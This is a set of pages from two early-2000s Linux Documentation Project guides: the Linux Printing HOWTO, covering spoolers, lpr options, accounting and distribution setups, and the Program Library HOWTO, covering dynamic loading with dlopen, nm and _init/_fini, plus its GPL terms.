This lpr supports the -o option. You may specify any option/value pair from your printer's PPD file with -o. For example, consider this PPD file option clause:
*OpenUI *PrintQuality/Print Quality: PickOne
*DefaultPrintQuality: None
*OrderDependency: 150 AnySetup *PrintQuality
*PrintQuality None/Printer Setting: ""
*PrintQuality Quick/QuickPrint:  "<< /DeviceRenderingInfo ...
*PrintQuality Normal/Normal: "<< /DeviceRenderingInfo << /...
*PrintQuality Pres/Presentation: "<< /DeviceRenderingInfo ...
*PrintQuality Image/1200 Image Quality: "<< /DeviceRenderi...
*CloseUI: *PrintQuality
For the option PrintQuality, the possible values are Quick, Normal, Pres, or Image. You might give a command like:
% lpr -o PrintQuality:Image file.ps

There are a number of options common to all printers which will work in addition to the ones from your PPD. These include:

page-ranges

You can specify a range of pages to print. For example, page-ranges:2-3.

page-set

You can print only odd or even pages. For example, page-set:odd.

number-up

You can print multiple pages on each piece of paper. For example, number-up:2.

Other options are detailed in the ppdfilt man page.

8.2.3. File Permissions

By popular demand, I include below a listing of the permissions on interesting files on my system. There are a number of better ways to do this, ideally using only SGID binaries and not making everything SUID root, but this is how my system came out of the box, and it works for me. (Quite frankly, if your vendor can't even ship a working lpd you're in for a rough ride).
-r-sr-sr-x   1 root     lp    /usr/bin/lpr*
-r-sr-sr-x   1 root     lp    /usr/bin/lprm*
-rwxr--r--   1 root     root  /usr/sbin/lpd*
-r-xr-sr-x   1 root     lp    /usr/sbin/lpc*
drwxrwxr-x   4 root     lp    /var/spool/lpd/
drwxr-xr-x   2 root     lp    /var/spool/lpd/lp/

Lpd must currently be run as root so that it can bind to the low-numbered lp service port. It should probably become UID lp.lp or something after binding, but I don't think it does. This is simply one more reason to avoid the stock BSD LPD.

PDQ uses a different, non-daemon-centric scheme, so it has different programs. The only SUID root programs are the lpd interface programs lpd_cancel, lpd_print, and lpd_status; these are SUID because actual Unix print servers require print requests to originate from a priviledged port. If the only printers for which you use PDQ's bsd-lpd interface are networked print servers (like the HP JetDirect or Lexmark's MarkNet adapters) then you do not need the SUID bit on these programs.

8.3. Large Installations

Large installations, by which I mean networks including more than two printers or hosts, have special needs. Below are some tips. For really large environments, merely distributing printcap/filter information becomes a difficult problem; the Cisco Enterprise Print System addresses this and is probably either a good starting point or a nearly complete solution, depending on your needs. Medium to large environments can be well supported by native LPRng features.

  • Each printer should have a single point of control, where an administrator can pause, reorder, or redirect the queue. To implement this, have everyone printing to a local server, which will then queue jobs and direct them to the proper printer. For large campuses or distributed networks, have one server per building or other suitable network subset.

  • Use LPRng, at least on servers; the BSD LPD is too buggy for "real" use. So is CUPS, at least right now in mid-2000. But don't take my word for it—you should test a number of spoolers and see which suits you best.

  • Client systems should not have unique printing configurations. To implement this, use LPRng's extended printcap syntax so that you have one printcap to use everywhere. CEPS provides for this by building atop a lightweight distributed database instead of traditional printcap files.

  • Print queues should not be named for make or model; name print queues for something sensible like location (floor2_nw) or capability (color_transparency). Three years from now, when a printer breaks, you will be able to replace it with a different make or model without causing confusion.

  • Operate a web page which shows detailed information on each printer, including location, capabilities, etc. Consider having it show the queue and include a button to remove jobs from the queue. Complex networked environments are unmanagable for users without proper documentation.

  • On Unix systems, use PDQ or the like to allow selection of print job attributes such as duplex or paper size, and to force users to run all Ghostscript processing under the proper user ID. If you have all Postscript printers (as is best), you can also select from the GPR or XPP front-ends; both are prettier.

  • On Windows and Apple systems, use either the platform-specific drivers everywhere (Samba supports the Windows automagical driver-download mechanism) or, better, use generic Postscript drivers everywhere. Do not mix and match; primitive word processors often produce different output when the installed printer driver changes; users cannot deal with output that vaires depending on the particular client/printer pair.

  • If at all possible, buy a large-volume printer for large-volume printing. If on a budget, use LPRng's multiple printers/one queue facility and assign a babysitter; printers are complex mechanical devices that will often jam and run out of paper in such configurations.

  • Do not feel that printers must be plugged into workstations; Ethernet "print servers" now cost under $100. The ability to locate printers anywhere you can network is a big improvement over forced location near a host; locate printers in sensible, central locations.

  • Use any SNMP trap or other monitoring/alert facility available to you - someone should be tasked with running around and fixing printers with no ink or paper. Npadmin (see Section 11.10.1) can be used to do some management operations with SNMP printers.

8.4. Accounting

Regular LPD provides very little to help you with accounting. You can specify the name of an accounting file in the af printcap attribute, but this is merely passed as an argument to your if filter. It's up to you to make your if filter write entries to the accounting file, and up to you to process the accounting file later (the traditional format is mainly useful for line printers, and is nontrivial to parse in Perl, so there's no reason to preserve it). Also, if you're using my lpdomatic program as your filter, you'll need to make changes, since it depends on being given a configuration file as the ``accounting'' file name.

Ghostscript provides a PageCount operator that you can use to count the number of pages in each job; basically you just tack a few lines of postscript onto the end of the job to write an accounting file entry; for the best example of this see the file unix-lpr.sh in the Ghostscript source distribution.

Note that the unix-lpr implementation of accounting writes to a file from the Ghostscript interpreter, and is thus incompatible with the recommended -dSAFER option. A better solution might be to query the printer with a PJL command after each job, or to write a postscript snippet that prints the pagecount on stdout, where it can be captured without having to write to a file.

The LPRng print spooler includes an HP-specific sample implementation of accounting; I assume that it queries the printer with PJL. This technique should work for most PJL, Postscript, or SNMP printers with which you have two-way communications.

If you have a networked printer that supports SNMP, you can use the npadmin program to query a pagecount after each job. This should work properly for all print jobs. See Section 11.10.1 for more information on npadmin.

Prev | Home | Next
How it all works |  | Vendor Solutions


Spooling software

The Linux Printing HOWTO
Prev Next

6. Spooling software

Until recently, the choice for Linux users was simple - everyone ran the same old lpd lifted mostly verbatim out of BSD's Net-2 code. Even today, most vendors ship this software. But this is beginning to change. SVR4-like systems including Sun's Solaris come with a completely different print spooling package, centered around lpsched.

Today, there are a number of good systems to chose from. I describe them all below; read the descriptions and make your own choice. PDQ is the simplest modern system with a GUI; it is suitable for both basic home users and (in a hybrid pdq/lprng setup) people in many larger environments. For business environments with mainly networked Postscript printers, a front-end program like GPR with LPRng is a good alternative; it handles PPD options directly and has a slightly nicer interface. In other cases CUPS is a good option; it too has excellent Postscript printer support, and offers IPP support, a web interface, and a number of other features.

6.1. LPD

LPD, the original BSD Unix Line Printer Daemon, has been the standard on Unix for years. It is available for every style of Unix, and offers a rather minimal feature set derived from the needs of timesharing-era computing. Despite this somewhat peculiar history, it is still useful today as a basic print spooler. To be really useful with modern printer, a good deal of extra work is needed in the form of companion filter scripts and front-end programs. But these exist, and it does all work.

LPD is also the name given to the network printing protocol by RFC 1179. This network protocol is spoken not only by the LPD daemon itself, but by essentially every networked print server, networked printer, and every other print spooler out there; LPD is the least common denominator of standards-based network printing.

LPRng (see Section 6.3) is a far better implementation of the basic LPD design than the regular one; if you must use LPD, consider using LPRng instead. There is far less voodoo involved in making it do what you want, and what voodoo there is is well documented.

There are a large number of LPD sources floating around in the world. Arguably, some strain of BSD Unix is probably the official owner, but everyone implements changes willy-nilly, and they all cross-pollinate in unknown ways, such that it is difficult to say with certainty exactly which LPD you might have. Of the readily available LPDs, VA Linux offers one with a few minor modifications that make the user interface much more flexible. The SourceForge LPD supports command-line option specification with a -o flag; options are then passed through to filters. This is similar to the features offered by a number of traditional Unix vendors, and similar to (although incompatible with) LPRng's -z option mechanism.

6.1.1. LPD front-ends

If you go with LPD, the best way to use it is via a front-end. There are several to chose from; GPR (see Section 3.3) and XPDQ (see Section 6.2) are perhaps the two best. Others exist; tell me about them.

6.2. PDQ

PDQ is a non-daemon-centric print system which has a built-in, and sensible, driver configuration syntax. This includes the ability to declare printing options, and a GUI or command line tool for users to specify these options with; users get a nice dialog box in which to specify resolution, duplexing, paper type, etc (see Figure 7).

Figure 6. XPDQ Main Window

Running all of the filters as the user has a number of advantages: the security problems possible from Postscript are mostly gone, multi-file LaTeX jobs can be printed effectively as dvi files, and so forth.

This is what I now use; I've written driver spec files for my printers, and there are several included with the distribution, so there are plenty of examples to base yours on. I've also written a few tools to automate driver spec generation to help the rest of you.

PDQ is not without flaws: most notably it processes the entire job before sending it to the printer. This means that, for large jobs, PDQ may simply be impractical—you can end up with hundreds of megs being copied back and forth on your disk. Even worse, for slow drivers like the better quality inkjet drivers, the job will not start printing until Ghostscript and the driver have finished processing. This may be many minutes after submission.

If you have many users, many printers, or anything else complex going on, I recommend using PDQ as a front-end to LPD-protocol based network printing (you can print via the lpd protocol to the local machine). In most such situations, rather than using the traditional BSD lpd as the back-end, I recommend LPRng:

Figure 7. XPDQ Driver Options Window

6.3. LPRng

Some Linux vendors (including Caldera) provide LPRng, a far less ancient LPD print spooling implementation. LPRng is far easier to administer for large installations (read: more than one printer, any serial printers, or any peculiar non-lpd network printers) and has a less frightfully haphazard codebase than does stock lpd. It can even honestly claim to be secure - there are no SUID binaries, and it supports authentication via PGP or Kerberos.

LPRng also includes some example setups for common network printers - HP LaserJets, mainly, that include some accounting abilities. If you'd like more information on LPRng, check out the LPRng Web Page. LPRng uses more or less the same basic filter model as does BSD lpd, so the LPD support offered by my website applies to LPRng as well. This can help you effectively use free software drivers for many printers.

LPRng is distributed under either the GPL or an Artistic license.

6.4. PPR

PPR is a Postscript-centric spooler which includes a rudimentary Postscript parsing ability from which it derives several nice features. It includes good accounting capabilities, good support for Appletalk, SMB, and LPD clients, and much better error handling than lpd. PPR, like every other spooler here, can call Ghostscript to handle non-Postscript printers.

I only recently found out about PPR; I don't know of anyone who has tried it. It was written by, and is in use at, Trinity College. The license is BSD-style; free for all use but credit is due.

According to the documentation, it's somewhat experimental. Malformed Postscript jobs won't print; instead they bounce, and it's up to the user to fix the Postscript. This may make it unsuitable for some environments, although most users generate Postscript with a small handful of well-characterized Postscript generators, so it probably wouldn't be that big an issue.

6.5. CUPS

One interesting newcomer on the scene is CUPS, an implementation of the Internet Printing Protocol (IPP), an HTTP-like RFC standard replacement protocol for the venerable (and klunky) LPD protocol. The implementation of CUPS has been driven by Michael Sweet of Easy Software Products; CUPS is distributed under the GPL.

I've finally done some work with CUPS, and it does work as advertised. There are a number of very good features in it, including sensible option handling; web, gui, and command-line interfaces; and a mime-based filtering system with strong support for Postscript. Since it is so new, however, it does have a number of quirks, and it is hard to recommend for large or secure installations at this time (as of version 1.1). It is a fine solution, however, for smaller installations or especially larger installatons with trusted users.

Like other systems, CUPS can be used with most existing drivers. Unfortunately, it's a bit tricky to configure an arbitrary driver for use with CUPS—at least if you want all the options to work—so it's best to find a preexisting PPD file and filter script to make your driver go. There are at least four sets of drivers which you can use with CUPS:

CUPS-O-Matic

My web-based CUPS-O-Matic system can generate a suitable PPD for use with any printer driver that has full details entered in the Linux Printing Database. The PPD gets used together with a backend script named cupsomatic. CUPS-O-Matic uses free software drivers. At the moment I am concentrating on correctness rather than completeness, so rather few drivers are in fact supported. This will change over time.

CUPS Drivers and KUPS

The CUPS Drivers project is accumulating PPD files useable with either Postscript printers or the backend filter ps2gs2raw. These PPD files use free software drivers. KUPS is a companion setup program.

Postscript PPDs

CUPS can use vendor-supplied PPD files for Postscript printers directly. Often these come with the Windows drivers for a printer, or can be found on the printer vendor's website. Adobe also distributes PPD files for many Postscript printers.

ESP Print Pro

Easy Software Products, Inc. sells CUPS bundled with a collection of proprietary drivers. Although they are not free software, they do drive many common printers. The bundle is somewhat expensive measured against the price of a single supported printer, but it certainly has a place. These drivers are reputedly not terribly good, but they are somewhat comprehensive, and even mediocre quality is preferable to a paperweight.

The third-party program XPP (see Figure 4) offers a very nice graphical interface to the user functionality of CUPS, including an marvelous interface to print-time options (shown in Figure 5). For information on using XPP, see Section 3.3.2.

Prev | Home | Next
Supported Printers |  | How it all works


Vendor Solutions

The Linux Printing HOWTO
Prev Next

9. Vendor Solutions

This section is, by definition, incomplete. Feel free to send in details of your favourite distribution. At the moment, I am aware of no distribution that supports, or even provides, the software I recommend: PDQ.

There are a number of third-party packages out there designed to make printer configuration under Unix easy. These are covered in Section 8; see the subsection there for your particular spooling software for pointers.

9.1. Red Hat

Red Hat has a GUI printer administration tool called printtool which can add remote printers and printers on local devices. It lets you choose a ghostscript-supported printer type and Unix device file to print to, then installs a print queue in /etc/printcap and uses a filter program from the rhs-printfilters package to support postscript and other common input types. This solution works fairly well, and is trivial to setup for common cases.

Where Red Hat fails is when you have a printer which isn't supported by their standard Ghostscript (which is GNU rather than Aladdin Ghostscript, and which supports fewer printers). Check in the printer compatibility list above (or online) if you find that you can't print properly with the stock Red Hat software. If your printer isn't supported by Red Hat's tools, you may need to install a contributed verison of Aladdin Ghostscript, and will probably also be better off if you use the lpdomatic or apsfilter packages, which know all about the printers supported by late-model Ghostscripts, and others besides.

In future versions of Red Hat the printtool will be reimplemented to support a larger list of printers and with the intent to support an eventual rhs-printfilters replacement (the current filter has difficulty with many common printers like some non-PCL DeskJets and most Lexmarks). Some VA Linux-developed PPD features may be incorporated, as well.

9.2. Debian

Debian offers a choice between plain LPD, LPRng, or CUPS; LPRng or CUPS are probably the better choices. I believe Debian also offers a choice of printer configuration tools; apsfilter version 5 or later is probably your best bet, since that verison adds support for LPRng and Ghostscript's uniprint driver scheme. Red Hat's printtool is also supported, for those who like GUI administration tools.

9.3. SuSE

The printing system on SuSE Linux is based on apsfilter, with some enhancements; SuSE's apsfilter will recognize all common file formats (including HTML, if html2ps is installed). There are two ways to setup printers on SuSE systems:

  • YaST will let you configure "PostScript", "DeskJet" and "Other printers", supported by Ghostscript drivers; it's also possible to setup HP's GDI printers (DeskJet 710/720, 820, 1000, via the "ppa" package). YaST will provide /etc/printcap entries for every printer ("raw", "ascii", "auto" and "color", if the printer to configure is a color printer). YaST will create spool directories and it will arrange apsfilterrc files, where you're able to fine tune some settings (Ghostscript preloads, paper size, paper orientation, resolution, printer escape sequences, etc.). With YaST it's also possible to setup network printers (TCP/IP, Samba, or Novell Netware Printer).

  • In addition SuSE includes the regular SETUP program from the original apsfilter package (with some enhancements); run lprsetup to invoke this configuration script. Once you get accustomed to its GUI, you'll be able to configure local and network printers.

The SuSE installation manual explains both of these setup procedures.

Wolf Rogner reported some difficulties with SuSE. Apparently the following bugs may bite:

  • Apsfilter's regular SETUP script is a bit broken, as are the KDE setup tools. Use YaST. [ Ed: does this still apply? It's been some time sice Wolf's report. ]

  • For networked printers that need to be fed from Ghostscript, you'll need to first uncomment the line REMOTE_PRINTER="remote" in /etc/apsfilterrc. Then run YaST to configure the printer and, under Network configurations, set up a remote printer queue.

  • YaST's setup doesn't allow color laser printers, so configure a mono printer and then change mono to color everwhere in the printcap entry. You may have to rename the spool directory, too.

9.4. Caldera

Caldera ships LPRng. I have no idea what sort of setup tools they offer.

9.5. Corel

Corel is Debian-based, so all the Debian facts above should still apply. In addition, they've written their own setup tool, based on the sysAPS library which in turn uses my database. They've certainly done so as part of WordPerfect.

Corel operates a printing support newsgroup named corelsupport.linux.printing. The bulk of the traffic appears to be WordPerfect and Corel Linux related.

9.6. Mandrake

As of version 7.2b1, Mandrake ships with CUPS standard. The program QtCUPS is used to provide a clean GUI administration interface. Till went to some trouble to include as many drivers as possible, and they ship CUPS PPD files build with my own foomatic interface code.

I think Earlier Mandrake versions shipped with the Red Hat printtool.

9.7. Other Distributions

Please send me info on what other distributions do!

Prev | Home | Next
How to set things up |  | Ghostscript.


Windows-only printers

The Linux Printing HOWTO
Prev Next

12. Windows-only printers

As I discussed earlier, some printers are inherently unsupported because they don't speak a normal printer language, instead using the computer's CPU to render a bitmap which is then piped to the printer at a fixed speed. In a few cases, these printers also speak something normal like PCL, but often they do not. In some (really low-end) cases, the printer doesn't even use a normal parallel connection but relies on the vendor's driver to emulate what should be hardware behaviour (most importantly flow control).

In any case, there are a few possible workarounds if you find yourself stuck with such a lemon.

12.1. The Ghostscript Windows redirector

There is now a Windows printer driver available (called mswinpr2) that will run a print job through Ghostscript before finally printing it. (Rather like an if filter in Unix's LPD). There is also a new Ghostscript driver which will print using Windows GDI calls. Taken all together, this allows a Windows machine to print PostScript to a Windows-only printer through the vendor's driver.

If you get that working, you can then follow the instructions above for printing to a Windows printer over the network from Linux to let Unix (and other Windows, Mac, etc) hosts print to your lemon printer.

12.2. HP Winprinters

Some HP printers use "Printing Performance Architecture" (marketingspeak for "we were too cheap to implement PCL"). This is supported in a roundabout way via the pbm2ppa translator written by Tim Norman. Basically, you use ghostscript to render PostScript into a bitmapped image in pbm format and then use pbm2ppa to translate this into a printer-specific ppa format bitmap ready to be dumped to the printer. This program may also come in ghostscript driver format by now.

The ppa software can be had from the ppa home page; pbm2ppa supports some models of the HP 720, 820, and 1000; read the documentation that comes with the package for more details on ppa printer support.

12.3. Lexmark Winprinters

Most of the cheap Lexmark inkjets use a proprietary language and are therefore Winprinters. However, Henryk Paluch has written a program which can print on a Lexmark 7000. Hopefully he'll be able to figure out color and expand support to other Lexmark inkjets. See here for more info.

Similarly, there are now drivers for the 5700, 1000, 1100, 2070, 3200, and others. See the supported printers listing above, and my web site, for more information on obtaining these drivers.

Prev | Home | Next
Networks |  | How to print to a fax machine.


Copyright and License

Program Library HOWTO
Prev

8. Copyright and License

This document is Copyright (C) 2000 David A. Wheeler. It is covered by the GNU General Public License (GPL). You may redistribute it without cost. Interpret the document's source text as the ``program'' and adhere to the following terms:

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

These terms do permit mirroring by other web sites, but please:

  • make sure your mirrors automatically get upgrades from the master site,

  • clearly show the location of the master site, http://www.dwheeler.com/program-library, with a hypertext link to the master site, and

  • give me (David A. Wheeler) credit as the author.

The first two points primarily protect me from repeatedly hearing about obsolete bugs. I do not want to hear about bugs I fixed a year ago, just because you are not properly mirroring the document. By linking to the master site, users can check and see if your mirror is up-to-date. I'm sensitive to the problems of sites which have very strong security requirements and therefore cannot risk normal connections to the Internet; if that describes your situation, at least try to meet the other points and try to occasionally sneakernet updates into your environment.

By this license, you may modify the document, but you can't claim that what you didn't write is yours (i.e., plagiarism) nor can you pretend that a modified version is identical to the original work. Modifying the work does not transfer copyright of the entire work to you; this is not a ``public domain'' work in terms of copyright law. See the license for details, in particular noting that ``You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.'' If you have questions about what the license allows, please contact me. In most cases, it's better if you send your changes to the master integrator (currently David A. Wheeler), so that your changes will be integrated with everyone else's changes into the master copy.

Prev | Home
Other Information Sources |


Dynamically Loaded (DL) Libraries

Program Library HOWTO
Prev Next

4. Dynamically Loaded (DL) Libraries

Dynamically loaded (DL) libraries are libraries that are loaded at times other than during the startup of a program. They're particularly useful for implementing plugins or modules, because they permit waiting to load the plugin until it's needed. For example, the Pluggable Authentication Modules (PAM) system uses DL libraries to permit administrators to configure and reconfigure authentication. They're also useful for implementing interpreters that wish to occasionally compile their code into machine code and use the compiled version for efficiency purposes, all without stopping. This approach can be useful in implementing a just-in-time compiler or multi-user dungeon (MUD).

In Linux, DL libraries aren't actually special from the point-of-view of their format; they are built as standard object files or standard shared libraries as discussed above. The main difference is that the libraries aren't automatically loaded at program link time or start-up; instead, there is an API for opening a library, looking up symbols, handling errors, and closing the library. C users will need to include the header file <dlfcn.h> to use this API.

The interface used by Linux is essentially the same as that used in Solaris, which I'll call the ``dlopen()'' API. However, this same interface is not supported by all platforms; HP-UX uses the different shl_load() mechanism, and Windows platforms use DLLs with a completely different interface. If your goal is wide portability, you probably ought to consider using some wrapping library that hides differences between platforms. One approach is the glib library with its support for Dynamic Loading of Modules; it uses the underlying dynamic loading routines of the platform to implement a portable interface to these functions. You can learn more about glib at http://developer.gnome.org/doc/API/glib/glib-dynamic-loading-of-modules.html. Since the glib interface is well-explained in its documentation, I won't discuss it further here. Another approach is to use libltdl, which is part of GNU libtool. If you want much more functionality than this, you might want to look into a CORBA Object Request Broker (ORB). If you're still interested in directly using the interface supported by Linux and Solaris, read on.

4.1. dlopen()

The dlopen(3) function opens a library and prepares it for use. In C its prototype is:
  void * dlopen(const char *filename, int flag);
If filename begins with ``/'' (i.e., it's an absolute path), dlopen() will just try to use it (it won't search for a library). Otherwise, dlopen() will search for the library in the following order:

  1. A colon-separated list of directories in the user's LD_LIBRARY path environment variable.

  2. The list of libraries specified in /etc/ld.so.cache (which is generated from /etc/ld.so.conf).

  3. /lib, followed by /usr/lib. Note the order here; this is the reverse of the order used by the old a.out loader. The old a.out loader, when loading a program, first searched /usr/lib, then /lib (see the man page ld.so(8)). This shouldn't normally matter, since a library should only be in one or the other directory (never both), and different libraries with the same name are a disaster waiting to happen.

In dlopen(), the value of flag must be either RTLD_LAZY, meaning ``resolve undefined symbols as code from the dynamic library is executed'', or RTLD_NOW, meaning ``resolve all undefined symbols before dlopen() returns and fail if this cannot be done''. RTLD_GLOBAL may be optionally or'ed with either value in flag, meaning that the external symbols defined in the library will be made available to subsequently loaded libraries. While you're debugging, you'll probably want to use RTLD_NOW; using RTLD_LAZY can create inscrutable errors if there are unresolved references. Using RTLD_NOW makes opening the library take slightly longer (but it speeds up lookups later); if this causes a user interface problem you can switch to RTLD_LAZY later.

If the libraries depend on each other (e.g., X depends on Y), then you need to load the dependees first (in this example, load Y first, and then X).

The return value of dlopen() is a ``handle'' that should be considered an opaque value to be used by the other DL library routines. dlopen() will return NULL if the attempt to load does not succeed, and you need to check for this. If the same library is loaded more than once with dlopen(), the same file handle is returned.

If the library exports a routine named _init, then that code is executed before dlopen() returns. You can use this fact in your own libraries to implement initialization routines. See Section 5.2 for more information.

4.2. dlerror()

Errors can be reported by calling dlerror(), which returns a string describing the error from the last call to dlopen(), dlsym(), or dlclose(). One oddity is that after calling dlerror(), future calls to dlerror() will return NULL until another error has been encountered.

4.3. dlsym()

There's no point in loading a DL library if you can't use it. The main routine for using a DL library is dlsym(3), which looks up the value of a symbol in a given (opened) library. This function is defined as:
 void * dlsym(void *handle, char *symbol);
the handle is the value returned from dlopen, and symbol is a NIL-terminated string. If you can avoid it, don't store the result of dlsym() into a void* pointer, because then you'll have to cast it each time you use it (and you'll give less information to other people trying to maintain the program).

dlsym() will return a NULL result if the symbol wasn't found. If you know that the symbol could never have the value of NULL or zero, that may be fine, but there's a potential ambiguity otherwise: if you got a NULL, does that mean there is no such symbol, or that NULL is the value of the symbol? The standard solution is to call dlerror() first (to clear any error condition that may have existed), then call dlsym() to request a symbol, then call dlerror() again to see if an error occurred. A code snippet would look like this:
 dlerror(); /* clear error code */
 s = (actual_type) dlsym(handle, symbol_being_searched_for);
 if ((err = dlerror()) != NULL) {
  /* handle error, the symbol wasn't found */
 } else {
  /* symbol found, its value is in s */
 }

4.4. dlclose()

The converse of dlopen() is dlclose(), which closes a DL library. The dl library maintains link counts for dynamic file handles, so a dynamic library is not actually deallocated until dlclose has been called on it as many times as dlopen has succeeded on it. Thus, it's not a problem for the same program to load the same library multiple times. If a library is deallocated, its function _fini is called (if it exists); see Section 5.2 for more information. Note: dlclose() returns 0 on success, and non-zero on error; some Linux manual pages don't mention this.

4.5. DL Library Example

Here's an example from the man page of dlopen(3). This example loads the math library and prints the cosine of 2.0, and it checks for errors at every step (recommended):

    #include <stdlib.h>
    #include <stdio.h>
    #include <dlfcn.h>

    int main(int argc, char **argv) {
        void *handle;
        double (*cosine)(double);
        char *error;

        handle = dlopen ("/lib/libm.so.6", RTLD_LAZY);
        if (!handle) {
            fputs (dlerror(), stderr);
            exit(1);
        }

        cosine = dlsym(handle, "cos");
        if ((error = dlerror()) != NULL)  {
            fputs(error, stderr);
            exit(1);
        }

        printf ("%f\n", (*cosine)(2.0));
        dlclose(handle);
    }

If this program were in a file named "foo.c", you would build the program with the following command:
    gcc -o foo foo.c -ldl

Prev | Home | Next
Shared Libraries |  | Miscellaneous


Program Library HOWTO

David A. Wheeler

version 1.00, 22 March 2002

This HOWTO for programmers discusses how to create and use program libraries on Linux. This includes static libraries, shared libraries, and dynamically loaded libraries.

Table of Contents
1. Introduction
2. Static Libraries
3. Shared Libraries
3.1. Conventions
3.2. How Libraries are Used
3.3. Environment Variables
3.4. Creating a Shared Library
3.5. Installing and Using a Shared Library
3.6. Incompatible Libraries
4. Dynamically Loaded (DL) Libraries
4.1. dlopen()
4.2. dlerror()
4.3. dlsym()
4.4. dlclose()
4.5. DL Library Example
5. Miscellaneous
5.1. nm command
5.2. Special functions _init and _fini
5.3. Shared Libraries Can Be Scripts
5.4. GNU libtool
5.5. Removing symbols for space
5.6. Extremely small executables
5.7. Speeding up C++ initialization
6. More Examples
6.1. File libhello.c
6.2. File libhello.h
6.3. File demo_use.c
6.4. File script_static
6.5. File script_shared
6.6. File demo_dynamic.c
6.7. File script_dynamic
7. Other Information Sources
8. Copyright and License
Next
Introduction


Other Information Sources

Program Library HOWTO
Prev Next

7. Other Information Sources

Particularly useful sources of information about libraries include the following:

  • ``The GCC HOWTO'' by Daniel Barlow. In particular, this HOWTO discusses compiler options for creating libraries and how to query libraries. It covers information not covered here, and vice versa. This HOWTO is available through the Linux Documentation Project at http://www.linuxdoc.org.

  • ``Executable and Linkable Format (ELF)'' by the Tool Interface Standards (TIS) committee (this is actually one chapter of the Portable Formats Specification Version 1.1 by the same committee). This provides information about the ELF format (it isn't specific to Linux or GNU gcc), and provides a great deal of detail on the ELF format. See ftp://tsx-11.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz If you get the file from MIT, note that the format is unusual; after gunzipping and untarring, you'll get an ``hps'' file; just strip off the top and bottom lines, rename it to a ``ps'' file, and you'll get a printable Postscript file with the usual filename.

  • ``ELF: From the Programmer's Perspective'' by Hongjui Lu. This gives Linux and GNU gcc-specific information on ELF, and is available at ftp://tsx-11.mit.edu/pub/linux/packages/GCC/elf.ps.gz.

Prev | Home | Next
More Examples |  | Copyright and License


Introduction

Program Library HOWTO
Prev Next

1. Introduction

This HOWTO for programmers discusses how to create and use program libraries on Linux using the GNU toolset. A ``program library'' is simply a file containing compiled code (and data) that is to be incorporated later into a program; program libraries allow programs to be more modular, faster to recompile, and easier to update. Program libraries can be divided into three types: static libraries, shared libraries, and dynamically loaded (DL) libraries.

This paper first discusses static libraries, which are installed into a program executable before the program can be run. It then discusses shared libraries, which are loaded at program start-up and shared between programs. Finally, it discusses dynamically loaded (DL) libraries, which can be loaded and used at any time while a program is running. DL libraries aren't really a different kind of library format (both static and shared libraries can be used as DL libraries); instead, the difference is in how DL libraries are used by programmers. The HOWTO wraps up with a section with more examples and a section with references to other sources of information.

Most developers who are developing libraries should create shared libraries, since these allow users to update their libraries separately from the applications that use the libraries. Dynamically loaded (DL) libraries are useful, but they require a little more work to use and many programs don't need the flexibility they offer, Conversely, static libraries make upgrading libraries far more troublesome, so for general-purpose use they're hard to recommend. Still, each have their advantages, and the advantages of each type are described in the section discussing that type.

It's worth noting that some people use the term dynamically linked libraries (DLLs) to refer to shared libraries, some use the term DLL to mean any library that is used as a DL library, and some use the term DLL to mean a library meeting either condition. No matter which meaning you pick, this HOWTO covers DLLs on Linux.

This HOWTO discusses only the Executable and Linking Format (ELF) format for executables and libraries, the format used by nearly all Linux distributions today. The GNU gcc toolset can actually handle library formats other than ELF; in particular, most Linux distributions can still use the obsolete a.out format. However, these formats are outside the scope of this paper.

If you're building an application that should port to many systems, you might consider using GNU libtool to build and install libraries instead of using the Linux tools directly. GNU libtool is a generic library support script that hides the complexity of using shared libraries (e.g., creating and installing them) behind a consistent, portable interface. On Linux, GNU libtool is built on top of the tools and conventions described in this HOWTO. For a portable interface to dynamically loaded libraries, you can use various portability wrappers. GNU libtool includes such a wrapper, called ``libltdl''. Alternatively, you could use the glib library (not to be confused with glibc) with its portable support for Dynamic Loading of Modules. You can learn more about glib at http://developer.gnome.org/doc/API/glib/glib-dynamic-loading-of-modules.html. Again, on Linux this functionality is implemented using the constructs described in this HOWTO. If you're actually developing or debugging the code on Linux, you'll probably still want the information in this HOWTO.

This HOWTO's master location is http://www.dwheeler.com/program-library, and it has been contributed to the Linux Documentation Project (http://www.linuxdoc.org). It is Copyright (C) 2000 David A. Wheeler and is licensed through the General Public License (GPL); see the last section for more information.

Prev | Home | Next
Program Library HOWTO |  | Static Libraries


Miscellaneous

Program Library HOWTO
Prev Next

5. Miscellaneous

5.1. nm command

The nm(1) command can report the list of symbols in a given library. It works on both static and shared libraries. For a given library nm(1) can list the symbol names defined, each symbol's value, and the symbol's type. It can also identify where the symbol was defined in the source code (by filename and line number), if that information is available in the library (see the -l option).

The symbol type requires a little more explanation. The type is displayed as a letter; lowercase means that the symbol is local, while uppercase means that the symbol is global (external). Typical symbol types include T (a normal definition in the code section), D (initialized data section), B (uninitialized data section), U (undefined; the symbol is used by the library but not defined by the library), and W (weak; if another library also defines this symbol, that definition overrides this one).

If you know the name of a function, but you truly can't remember what library it was defined in, you can use nm's ``-o'' option (which prefixes the filename in each line) along with grep to find the library name. From a Bourne shell, you can search all the libraries in /lib, /usr/lib, direct subdirectories of /usr/lib, and /usr/local/lib for ``cos'' as follows:
nm -o /lib/* /usr/lib/* /usr/lib/*/* \
      /usr/local/lib/* 2> /dev/null | grep 'cos$'

Much more information about nm can be found in the nm ``info'' documentation locally installed at info:binutils#nm.

5.2. Special functions _init and _fini

Two special functions aid in initializing and finalizing a module: _init and _fini. If a function ``_init'' is exported in a library, then it is called when the library is first opened (via dlopen() or simply as a shared library). In a C program, this just means that you defined some function named _init. There is a corresponding function called _fini, which is called whenever a client finishes using the library (via a call dlclose() that brings its reference count to zero, or on normal exit of the program). The C prototypes for these functions are:
  void _init(void);
  void _fini(void);

When compiling the file into a ``.o'' file in gcc, be sure to add the gcc option ``-nostartfiles''. This keeps the C compiler from linking the system startup libraries against the .so file. Otherwise, you'll get a ``multiple-definition'' error. My thanks to Jim Mischel and Tim Gentry for their suggestion to add this discussion of _init and _fini, as well as help in creating it.

